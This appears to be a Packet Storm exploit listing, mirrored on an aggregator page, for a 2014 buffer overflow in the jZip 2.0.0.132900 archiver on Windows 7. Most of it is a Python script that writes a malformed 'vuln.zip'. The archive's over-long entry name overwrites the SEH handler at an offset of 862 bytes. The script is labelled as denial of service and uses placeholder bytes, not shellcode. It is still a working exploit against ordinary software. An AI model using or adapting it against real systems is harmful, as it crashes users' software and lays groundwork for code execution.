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Jzip 2.0.0.132900 Buffer Overflow

🗓️ 17 Apr 2014 00:00:00Reported by motaz redaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

JZip 2.0.0.132900 Buffer Overflow in Windows 7 ultimat

Code
`#!/usr/bin/python  
######################################################  
# Exploit title: seh unicode buffer overflow (DOS)  
# Date: 16/04/2014  
# Exploit Author: motaz reda [motazkhodair[at]gmail.com]  
# Software Link : http://www.jzip.com/  
# Version: jZip v2.0.0.132900  
# Tested On: Windows 7 ultimate  
########################################################  
  
import sys, os  
  
filename = "vuln.zip"  
  
  
buffer = "\x50\x4B\x03\x04\x14\x00\x00"  
buffer += "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"  
buffer += "\x00\x00\x00\x00\x00\x00\x00\x00"  
buffer += "\xe4\x0f"  
buffer += "\x00\x00\x00"  
  
eo = "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"  
eo += "\x12\x10\x00\x00"  
eo += "\x02\x10\x00\x00"  
eo += "\x00\x00"  
  
cdf = "\x50\x4B\x01\x02\x14\x00\x14"  
cdf += "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"  
cdf += "\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
cdf += "\xe4\x0f"  
cdf += "\x00\x00\x00\x00\x00\x00\x01\x00"  
cdf += "\x24\x00\x00\x00\x00\x00\x00\x00"  
  
payload = "A" * 862  
payload += "\x42\x42" # NSEH  
payload += "\x42\x42" # SEH  
payload += "D" * 3198  
payload += ".txt"  
  
  
file = open(filename, "w")  
  
zipfile = buffer + payload + cdf + payload + eo  
  
file.write(zipfile)  
file.close()  
  
`

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17 Apr 2014 00:00Current
0.9Low risk
Vulners AI Score0.9
17